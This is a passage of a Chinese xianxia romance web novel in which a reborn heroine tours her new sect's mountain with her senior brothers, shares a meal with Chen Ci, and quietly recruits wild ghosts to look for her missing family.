听闻道隐所言,清元虽笑颜不改,眼眸中却敛去泼皮的嬉笑,露出几分庄正来,就听道隐真人继续道:“我得去一趟,阿辞,清元,照顾好师妹。”
他面向容星阑,声音稍微柔和了些,道:“阿阑啊,我不在的日子,师兄们会助你推引祛毒,你且好生修养,我去去就回。”
容星阑不明所以,正声道:“好。”
说完,道隐真人自厢房内凭空消失。
容星阑怔怔地看着原先道隐所在之处,抓住关键词:莽荒鬼山、扶苍山。
说起来,她还真的知晓莽荒鬼山,前世她的鬼将之一,霍无的诞生之地便在莽荒鬼山。听道隐所言,莽荒鬼山似有异动,其异动之缘由或与扶苍山有关。
思及扶苍山,她眸色微寒。
受道隐灵珠一润,她动作起来虽有些吃力,但行走不成问题。清元扬声问道:“小师妹若行走无虞,不若由师兄带你在好生逛逛,看看风景?”
容星阑悄然瞄向陈辞,见他似无异议,喜色道:“好呀!”
她还从未见过陈辞身为剑君时的居所,很是好奇。
她扶着床头站起来,动作幅度一大便会撕扯伤口,脖颈处疼痛难忍,但若是动作轻柔缓慢,不喘大气、不言大声,步伐小些、脖颈直些,倒也只是隐隐作痛,可以忍得。
是以她当真如清元所说,行走如弱柳扶风,毫无血色的面容再莞尔一笑,颇有病弱美人之意。
清元不由心生怜惜,放慢步伐,一面引路,一面回头道:“师妹,慢些走。”
容星阑自白驹香车出来,总算看清流素峰全景,也看清白驹香车全貌。
从外看,香车只凡间贵人乘坐的马车大小,由一匹流光雪色灵马牵引,雪驹时不时仰蹄喷息,扬起流萤成片。
她不由想起阿爹的红棕骏马,取名为流朱。儿时爹娘带她在山间游玩,爹娘烤鱼之际,流朱在山间踱步,霎时流萤纷飞,奇异的景象牢牢记在她的脑中。
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>阿爹的解释是马蹄声惊扰了在草木中歇息的萤虫,容星阑很少接触仙门之物,从未起疑。此时一见,回忆起儿时所见,不禁思忖:流朱莫非也是灵驹?
见她对白驹饶有兴致,清元道:“此乃饮灵泉、食灵草的雪色灵驹,有个好听的名字,雪莹。”
“名如其色,当真好听。”容星阑不掩好奇,道,“可以摸它吗?”
清元被她逗笑:“有何不可?师妹放心大胆的摸。在流素山,老虎屁股都可摸得。雪莹性格温顺,乃扶苍山所赠,为使任何等阶的修士皆可驾驭,专育的灵驹品种。我昆吾自己养的灵驹性格就五花八门一些,若你日后在流素山外的山间见了,可不能轻易去摸。”
容星阑点头表示记下了,回头向后看一眼,见陈辞跟在身后,问他:“陈……”
一出口自觉不对,连忙改口,道:“小师兄,你可有将小灰带了来?”
清元问:“小灰?是什么?也是灵驹?”
陈辞淡声道:“在寒照峰后院。”
清元不大爽快:“你们两个打什么哑谜?”
他问着,脚步很快地绕到身前的小院后面,见了后院啃草的黑牛,道:“我说怎么听见了隐隐的哞声,还以为是听错了,原来有牛在此。”
清元抚摸黑牛,道:“只是一只凡牛,你们待如何,杀来吃吗?”
黑牛听不懂,只拿澄明的牛眸看他,嘴里嚼着灵草。他摸着黑牛,忽觉背后冷风飕飕,转身一看,二人皆不发一言,师妹好歹面上还噙着淡淡的笑,陈辞面若寒冰,看他的眼神皆如在看一位将死之人。
清元不动声色地改口:“如此可爱的牛牛,自然是不能吃的,得好生养着。唔,大师兄崖上灵草多,届时领他去那里吃草。”
容星阑缓步走近,黑牛见了她,灵草也不吃了,雀跃着牛蹄就要过来,却不能近到她跟前,似被无形的绳索束住。
容星阑适时地捧胸咳嗽两声。
她也想摸小灰,只是这会若被小灰一蹭一扑,只怕她痛的当场昏厥。
陈辞:“近日不得靠近星阑。”
黑牛老实下来,再不扑腾,静静地站在原地,眸中似有委屈。
“他竟听得懂人话!”清元瞪大眼睛,“怪哉,不愧是师兄师妹要带回山的黑牛小灰。”
他说话透着一股孩子气的狡黠和诙谐,容星阑轻声笑道:“小灰聪明着呢。”
清元稀罕了一会,指着远处自天生崩腾而来的悬瀑,道:“此乃九天悬瀑。传闻九州之外,还有大九州。此瀑无穷无尽,寻不到源头,昆吾祖传九天悬瀑乃大九州之物,瀑中灵气充裕,自流素峰流向昆吾,又自昆吾流入九州大地。”
容星阑对仙门之事知之甚少,奇道:“大九州?”
清元:“是也。不过祖传是否属实就无从知晓了,千年来无人得道飞升。”
清元又指向东面苍穹上挂着的半轮弯月。容星阑此前在香车中受视线所限,并未看到挂月之景,如今顺着他手中指向一瞧,竟是日月当空,别有一番奇景。
就在悬月之下,一耸崖峭耸立,清元道:“那便是我的居所,弯月崖。”
21.玲珑骨(四)
“弯月崖?”容星阑看着天上半边玉盘似的月,道,“那分明是一轮半月,其下的崖取名弯月崖。二师兄,此名可有什么缘由?”
清元道:“这便是此月玄妙之处了。你在此地看,是一轮半月,待你到弯月崖看,却变成了一弯镰刀月。若你在另一峰看,此月或盈或缺,总归全然不同。”
容星阑惊奇:“这是为何?”
清元:“师妹你在凡尘界时观月,是不是月初为新,月前为缺,月中为盈,月后却缺,月末为尾。”
容星阑:“正是如此。”
清元也道:“正是如此!月悬于天,从不曾变化。凡尘之人只道月形之变乃时间溯回,非也!”
他讲的眉飞色舞:“昆吾道祖言,月自在那里,变的,只是世人观它的角度。是以用阵法将月色留在昆吾境内,使昆吾弟子时时都能见到,却又在不同峰中所见不同,从而警醒弟子勿执我、勿着相。待你开始习剑,去了昆吾书院,夫子也会教你。”
容星阑仰头观月,想起那日在青峰山,还未是她师父的道隐如是说:“雾盖青山,非原面目;石中有玉,不见真章。”
似乎有异曲同工之妙。
只是到底是何意,她现下还无法领悟,只问:“昆吾书院?”
“是也!”清元察言观色,瞧师妹面色似乎稍有抗拒,道,“修行之事,师父只授功法、督查要窍,阴阳五行、天干地支,及九州、昆吾之史纪这些基础的理论,皆由书院教导。”
他忆起自己在书院习读苦修时期的惨状,幸灾乐祸道:“师妹别怕,阿辞也尚未学习,届时你们二人一起就读,互相照应,也不算清苦。”
容星阑陡然头大,幼时夫子教学的悲惨遭遇历历在目,她之所以能习《万象符》,实在是她字如爪爬,叫夫子看了直摇头,爹娘看了直叹气,阿爷看了赞了声:“不错,虽不辨字形,但当做鬼画符看,也算一副妙符了。”
不过好在有陈辞作伴,他连字都不识,定然比她还差劲。如此一想,容星阑眉眼中带了几分期待,回头俏皮眨眼:“小师兄,我们要一起去上学哦!”
清元不知容星阑的小动作,继续介绍道:“那座便是大师兄住的承晖崖。”
他估摸一算:“差不多也到时辰了,师妹师弟,看!”
容星阑看向承晖崖,橙黄色的霞光铺彻整片天际,一道金光自薄云中落下,青翠的山崖似一只向上抬起的掌心,将将好承接住霞光。
落日余晖持续良久,容星阑问:“大师兄承晖崖,二师兄弯月崖,小师兄的寒照崖,‘寒照’二字,可有什么讲究?”
清元朗声一笑,道:“你须在寒照峰住上八十一日,等你见了,自然晓得。‘寒照’光景,只能半夜时分,由阿辞同你讲解一二了。”
*
待清元走了,容星阑假借看小灰,悄然向陈辞屋中看去。
他的小院已然极其简单干净,只一口井,一只缸,一张小桌。屋内冷冷清清、空空荡荡,竟只有一张竹床。
容星阑惊叹:连一床软被都没有,剑君都过得这么寒碜的么?
前院传来声响,容星阑连忙缩回头,动作有些急,扯动伤口,她疼地冷汗连连,便听陈辞道:“星阑,过来用饭。”
她缓了一缓,慢步过去。待看到前院小木桌上的餐食时,讶道:“竟有红烧肉!哪来的?”
陈辞瞥了眼她额上的冷汗,手中布菜,道:“我做的。”
容星阑大为震惊:“你会做饭?”
她暗哼:可恶,明明会做饭,还吃了我娘那么多年饭菜。
容星阑又问:“你在哪做的?”
寒照崖一览无余,除了停留在侧的白驹香车,就只有一间小屋,根本没有伙房。
陈辞:“清元那有伙房。”
容星阑看向弯月崖:“不叫二师兄一起吃吗?”
陈辞面无表情地落座:“他不吃。”
容星阑:“为何?”
陈辞:“修者不食凡尘五谷。”
容星阑问:“那你怎么就吃?”
陈辞给她夹了一筷子红烧肉:“我想吃。”
容星阑:“哦。”
她扒拉了下红烧肉,其实没什么胃口。身体太虚,红烧肉便有些油腻。不过也不好辜负陈辞一番好意,小小地咬了一口,肉香与酱香充斥唇齿之间,味道竟是出奇的好。她小口小口咬着,二人一时无言。
从前在郝牛村的时候和陈辞已经有些熟稔,这会儿或是因为身份转变,二人独处,容星阑竟生出一种莫名的尬然,不知该说些什么,一时崖上寂静,只有几声飞鹤的嘎叫。
她想了想,道:“阿辞哥哥,谢谢你救我。”
陈辞不紧不慢地吃着饭,轻嗯了一声:“不必言谢。”
容星阑默了默,还未想到要说什么,就听陈辞道:“一饭之恩。”
“嗯?”她抬头,不解地看他,见他也停下手中筷,目光笔直深沉,不避不退,也在看她。
陈辞声调寻常,辨不出情绪:“你道一饭千金,我无千金。救你一命,报裴姨多年米饭恩情。”
容星阑恍若大悟!
她曾在心中埋怨陈辞不顾年父母多年关照的恩情,前世竟专程下昆吾去涂华山向她拔剑。今生一朝濒死,却是陈辞救了她。
没想到那两则小故事竟有救命之用,她容星阑向来度量颇深,当即将过往之事一笔勾销,咬下一块红烧肉,道:“真好吃,小师兄,你手艺真好!一点也不输我阿娘。”
然而提到阿娘,她又黯淡下去:“我阿娘……罢了,小师兄,那时你救了我,可曾知道我堂姐后来去了何处?”
陈辞想起那日所见,只觉喉中发涩,一时未答。
他抬头观月。
在寒照崖观月,一直是半轮月。前世,他也是这么想的。
他向来无欲无求,无情道,再合适不过。
然而修至渡劫,修为迟迟不得寸进,一日运行一个圆满的大周天,灵气溢出,他沉睡不醒,做了一个梦。
梦中只有一间小屋。
不是他在郝牛村的那间,亦不是他在昆吾寒照崖的那间。
是他曾多次进入,却始终只是一个外人的,坐落于郝牛村他家邻院的小屋。
冰天雪地里,只有那一座亮着橙黄色灯光的小屋。
里面自然无人,只有那一间小屋罢了。他推门而入,小屋内的火炉和暖光驱不散他由内散发的严寒。
梦醒,大周天所炼化的灵气消散,他自渡劫圆满掉落一个小境界,彼时他不解为何,只在寒照崖上沉默观月。
他无欲无求,在他眼中,万物皆同,竟也生出了执境。
执境在便在了,今生不修无情道即可,却在那一日,他才知何为‘执’。
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便是想一想,就觉心痛难忍,只恨自己为何不再快一分,为何明明知晓她有此一劫,却没有提前警醒一二,为她做些防备。
到那时,他方才知晓,他从前只见了心中月的一面。而长簪落血梅,才是心中月的另一面。
他不是真正的无情之人,做不到万物同一。
他有念想,有在意,有偏爱。
陈辞迟迟不言,容星阑唤了一声:“小师兄?”
陈辞回神,看向他的心中月。
所幸今生那轮月再不用被乌云侵染,他对上她琉璃般明亮清澈的眼,平静道:“她被扶苍山的人带走了。”
容星阑惊了:“扶苍山?!”
不对啊!容玄蕴不是应该去云音山么?去扶苍山的,分明是郝一呀!容星阑下意识问道:“那郝一呢?”
陈辞用饭的动作微顿,随即继续夹菜,声音微冷,道:“不知。”
容星阑思绪万千,放下筷子,斟酌着道:“师兄,郝牛村只是凡尘中一个不起眼的小村庄,为何会出现扶苍山修士?就连师父,也在那悄然驻留,郝牛村是有什么有异常之处么?”
陈辞也放下筷子,想到容晏和裴书的身份,而容星阑似乎全然不知,只道:“许是和大妖鲲娘有关。”
容星阑陷入沉思,鲲娘和爹娘一起消失,若还要说他们三人之间不相识只怕鬼才会信。爹娘若是修士,藏身郝牛村定有难言之隐,她不欲陈辞察觉,便不再多问。
寒照崖上晚风微微,先前疼出了一身冷汗,此时叫风一吹,便有些瑟瑟发寒。忽觉肩上兀地围拢一物,竟是一件山茶花色的斗篷。
斗篷极轻,丝毫不压身,围笼之时,只觉通身温煦,似有源源不绝的灵力涌入体内。她向篷身看去,霞光下的斗篷闪着无数阵法运转的灵光,容星阑讶然:“师兄?”
陈辞面容沉静淡然,只起身,隔桌倾向她,替她整理篷帽。
容星阑任由他整理,师兄离得近,他身上那股冷冽的雪松香气迎面袭来,容星阑偷偷猛吸一口,吸到了饭桌上飘上来的红烧肉香气。
容星阑:……
她便稍稍仰头,正好对上陈辞的唇。她小口小口地吸着他身上的香味,只觉闻着连脖颈上的疼痛都少了几分,见他细致专注地系着风带,悄然打量他的嘴唇。
陈辞的唇轻轻抿直,不似他本人那么冷冽,透着浅浅的粉,下唇像幼猫爪心般饱满丰润,看起来竟有些柔软。
唇瓣轻启:“在看什么?”
容星阑倏然坐直,眼睛左顾右盼,目光定在远处的九天悬瀑上:“看、看水。”
陈辞:“好看么?”
容星阑老实作答:“好看。”
陈辞:“有多好看?”
容星阑瞥唇:“全天下最好看。”
她便亲眼见到那唇角极轻地向上微勾:“你还看过其他悬瀑?”
容星阑咽口水:“自然是没有的。”
一个风带似乎系的十分漫长,陈辞道:“流出来了。”
容星阑连忙去看悬瀑:“没有啊。”
风带总算系好了,容星阑低头,又是一个端正乖巧的酢浆草结。风带上还悬挂着两只绒绒的雪白小球,她一低头,晶莹的液珠滴在雪球上。
陈辞轻笑。
容星阑轰地脑中炸开花,瞬间面红耳赤:流出来的是她的口水!!!
22.玲珑骨(五)
月辉如练,倾斜如注,洒在寒照崖上。
寒照崖石泛着雪色的银光,与月光交相辉映,在空中折射出凌冽的清辉。容星阑自香车窗中伸手,接住月辉。
月辉皎皎,似一泉清溪,汇聚掌心,凝成一团澄莹透亮的月华。
容星阑将月华送入口中,细细品味,似在品食一种极其美味的团糕。
咕咚、咕咚——
有‘人’在暗处吞咽口水。
容星阑慢条斯理地用完月华,通体舒畅飘然,忍不住仰头舒叹,舒展筋骨,吐出一口浊气。便觉身体轻盈几许,伸出手去,又凝一团月华。
容星阑道:“还躲在角落里做什么?想吃的话,就出来罢。”
两只从容家一路跟上香车的小野鬼自角落里飘过来。它们尚未成型,只作两条黑影,未生出四肢与五官,黑影上方镶嵌着一双澄明的大眼睛。
“咕噜咕噜咕噜,咕噜咕噜咕噜……”
未长出嘴巴的小鬼只能发出溺水之人似的鬼语,容星阑静静听着,道:“原来你们是郝牛村后山的两只野鬼。”
较长条的野鬼道:“咕噜咕噜咕噜……”
容星阑蹙眉:“昆吾有很多野鬼?”
两只小鬼睁着大眼睛齐齐点头。
容星阑不由惊奇,昆吾修者众多,随便拎出一人都是已筑道基的修士,断然不会看不出暗藏在山中的小鬼。更遑论剑气锋锐,一剑下来,这群不成气候的小鬼被剑气一削,只怕瞬间便魂飞魄散。
她问:“可有成型的野鬼?将它带来,这团月华便给赏给你们。”
两只野鬼连连点头,咕噜一声,穿过香车,不知飘向何处。
须臾,一只初具人形,面貌有些模糊的野鬼跟在二鬼身后,飘行迟缓、探头探脑,似有些犹疑。待见到容星阑,看清她手中的月华,鬼眼瞬间锃亮,飘的比二鬼还快,一个箭步咻窜过来,嘶哑着声音道:“鬼君!”
二鬼:“……”
方才一阵好说歹说才勉强愿意过来,现在见了月华立即换作一副狗腿模样,简直是不要鬼脸,贱鬼如斯!
容星阑将月华抛至二鬼身前,翻手又是一团凝好的月华,对着身前的成型野鬼道:“可还记得生前何许人?”
世间阴魂众多,未入幽冥徘徊于世,无坟可居、无人祭拜者,便为野鬼。
一般野鬼难以成型,不具生前记忆,需长久吸食月华和地露,才可修炼出形体,依稀忆起生前之事。
若是一开始便拥有生前记忆、有完整魂体的野鬼,可自行吞吐月华与地露,魂体修炼成实体,可凝月华者,便为众野鬼奉为鬼君。
成型的野鬼目光不离眼前的月华:“只记得自己的姓名,常昭安。”
容星阑将月华在手中抛来抛去,问:“对昆吾有多少了解?”
常昭安的目光随月华而动,道:“对整座昆吾的地图无所不知。近日昆吾似乎新来了一名弟子,外面的剑君蜂拥在流素峰峰门打探,都被流素峰的剑君打了回去。”
常昭安讲到此处,恍然:“鬼君就是那位新来的小师妹?”
它马匹拍的极为顺溜:“不愧是鬼君,竟潜藏在昆吾做剑君。我鬼修亦有成为正道的潜质!”
容星阑看向两只正在吸食月华的小鬼,道:“像它们这样多未成形的小鬼,整座昆吾有多少?”
常昭安道:“很多。”
容星阑:“昆吾不斩杀小鬼?”
小鬼通常极其胆小,且畏惧雷电与阳光。只有修成型的野鬼才能生出神识,不论白日黑夜可行走自如,可在人前显出鬼形。但一朝未凝为实体,就不可触碰凡尘之物,难以祸乱人间。
即便如此,野鬼仍不为众修所容。
在她上一世的记忆里,野鬼即使未作恶,也被称为邪祟,修者见之即斩。不过多数时候,便是见了不成气候的小鬼,修士也懒得为此使出灵力,只将目光对准在山下作乱的怨鬼,称为除祟。
常昭安道:“昆吾……昆吾的剑君似乎看不见野鬼,十里八荒的野鬼都藏身此地。”
容星阑疑道:“看不见?”
不可能看不见。
常昭安鬼头微点:“小鬼们从不避讳昆吾剑君,多年来一直相安无事,不过进不了剑君们居住的屋舍,里面设有阵法。”
容星阑若有所思,道:“日后你听命于我,为我做事,我日日许你一团月华。”
常昭安大喜:“甘愿为鬼君效劳!”
容星阑将月华弹至它身前,它伸出两只未生出手的黑影长臂,捧着月华张开大口,口中已经长出两只浅浅的门牙,嵌在月华上,狼吞虎咽地啃完月华。
容星阑见它用完月华,道:“你召集昆吾野鬼,下山去打听四个人的下落,容玄蕴、容晏、裴书、鲲娘。”
“若有相关讯息,无论是否有用,皆赏地露。”
常昭安意犹未尽地抿了抿嘴唇,服从道:“是。”
“对了。”容星阑又想起一事,“搜罗扶苍山修士在莽荒鬼山的动向。”
“是。”
摒退常昭安,容星阑叫住两只小鬼:“你们就跟在我身边,时刻关注流素峰的一举一动。”
两只小鬼求之不得,眼睛弯弯地缩在墙角。
*
整座流素峰寂静无声,似乎所有人都深入睡眠。
容星阑并不打算入睡,她在陈辞的院子里走了一圈,立在水缸前。两只小鬼亦步亦趋地跟在身后。
她兰指微抬,指尖点水,平静的水面被游走的指腹划出层层波澜,一道深黑色的符印在水面结成,缓缓沉入水底。指尖抬开,缸内恢复平静,风吹无痕。
小鬼趴在缸上,喜道:“咕噜咕!”
是地露!
整座流素峰的地露顺着地脉汇聚在缸底,凝在水中,与正常水无异。
小鬼的鬼身穿过水缸,蹲在地上捧露而饮,不知豪饮多久,魂体愈发凝实,容星阑抬手将两只鬼向后一拎,又画了一道极为繁复的阴符。
小鬼鬼身陡然一松,忍不住又探头去饮,饮了半晌,也喝不出一滴地露,容星阑道:“你们喝完了,其他小鬼喝什么?一日只准一滴。”
两只小鬼垂头丧气地飘到一边,刚睡醒的坏头蛇才从袖中探出蛇脑袋,看清眼前之物,甩甩蛇头,再三确定眼前的鬼影是真的没有脚,缠在骨镯上抖抖瑟瑟,哭腔道:
“星阑,有鬼!”
*
香车内,缓了好一阵还未缓过来的坏头蛇摊着蛇肚窝在枕头上,生无可恋道:“就是说,你现在半人不鬼?”
“你竟然怕鬼?”容星阑将自己的脸猝然贴过去,狞笑道:“那你怎么不怕我?”
坏头蛇幽怨地看着扮鬼脸的容星阑,没好气道:“能一样吗?刚才那两只鬼,它们没有脚啊!没有脚!”
容星阑不能理解它对鬼没有脚的执念,冷哼道:“你也没有脚啊。”
坏头蛇:“……”
好气,但是无法反驳。
坏头蛇缓过气,道:“你这种情况,我们那里有个说法,叫卡BUG。恭喜你星阑,你卡到了此间世界
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的BUG。”
容星阑:“霸哥?是好是坏?”
坏头蛇:“你现在的这种BUG类似于作弊,目前来看,应该是好的。”
坏头蛇又想起梦中的道音,难道跟那句“世界出现崩漏”有关,道:“还是谨慎为上。”
它蛇心突突:这不一定是好兆头。
*
翌日清晨。
陈辞自松涧练剑归来,路过水缸,仍作凡尘般习惯地拘水清脸,任水珠在面上滑落,若无其事地耍了个剑花。
剑花成阵,注入缸中,除却已设聚流符的流素山境内,昆吾境内地脉中的地露也缓缓流入,缸中出现一个小漩涡,风卷叶落,飘入漩涡中,缸中之水平静如常。
他行至香车厢门,道:“星阑,起床了。”
容星阑在床上翻了个身,本想假意没听见,晾了许久,那声音在门口耐心重复:“星阑,起床了。”
坏头蛇在她耳边不满地甩甩尾巴:“容星阑,赶紧起来,不起他还要叫。”
它蛇眼未睁,咕哝一声:“喵了咪,人形闹钟啊这是。”
容星阑坐起来,在陈辞就要再唤一遍时,中气十足地道了声:“来了!”
她在家向来一觉睡到晌午,起来就能吃阿娘做的饭菜,即便是前世做了鬼君,也是想睡就睡,想起就起。现下到了昆吾,连懒觉都睡不得了。
稍微收拾一番,容星阑走出厢门,见到来人,思及陈辞应是来为她推引体内毒素的,当即捧胸捏帕,轻轻咳一声,柔声道:“小师兄。”
陈辞对她忽然变脸的做派早已司空见惯,道:“先用饭。”
峰中仙鹤戏水,时而凌空,容星阑就着美景用饭。今早桌上的饭菜清淡许多,只两碗素粥,并几份佐菜,她心满意足地吃完,就见陈辞道袍一挥,木桌上干净无物。
容星阑将手放上去,乖巧地静候搭脉,陈辞却道:“今日换个方式。”
容星阑不解:“为何?”
陈辞:“寸口经脉太窄,灵气由此注入,耗费时辰。”
容星阑哦道:“那要怎么做?”
陈辞并未直言,只道:“以膻中为宜,神阙次之,命门更次之。”
容星阑琢磨一番,膻中在乳间,神阙在肚脐,命门在后腰处,几处对比,当下立断:“便在命门罢。”
她坐姿端直,道:“师兄,我准备好了。”
陈辞绕到她身后,垂眸看下去,头顶碎发茸茸,发丝在阳光下闪着橙亮的光。发间空无一物,只随意挽了个少女髻。再往下瞧,少女身形纤瘦,腰腹处尤甚,似乎只盈盈一握。他敛眸,抬手,道:“师妹,失礼了。”
容星阑便觉腰椎骨被两指轻轻按压,一股暖流缓缓流入。腰椎处鲜少有人触碰,此时被人按着,又经温暖的灵力淌过,只觉那处酥酥麻麻,不安地扭动几下,便听陈辞冷声道:“勿动。”
她不再动,强忍陌生的酥麻感,今日注入体内的灵力不似昨日那般舒缓,似乎有些霸道,所经之处皆微微发热,不觉生了汗。此汗一处,脖颈及心脉处的疼痛似乎减轻一二,日光渐盛,陈辞收指,道:“好了。”
容星阑当下只有一个想法:她要沐浴。
然而陈辞在她身上施了一个除尘诀,并没有放她离开的意思,不知从何处掏出一个留影石,道:“此乃师父留下的通用心法,你闲来无事,每日背一篇。”
容星阑看着桌上的留影石,又抬头看了看陈辞,头顶上缓缓打出一个问号。
不是,还没上书院,怎么就要开始学习了?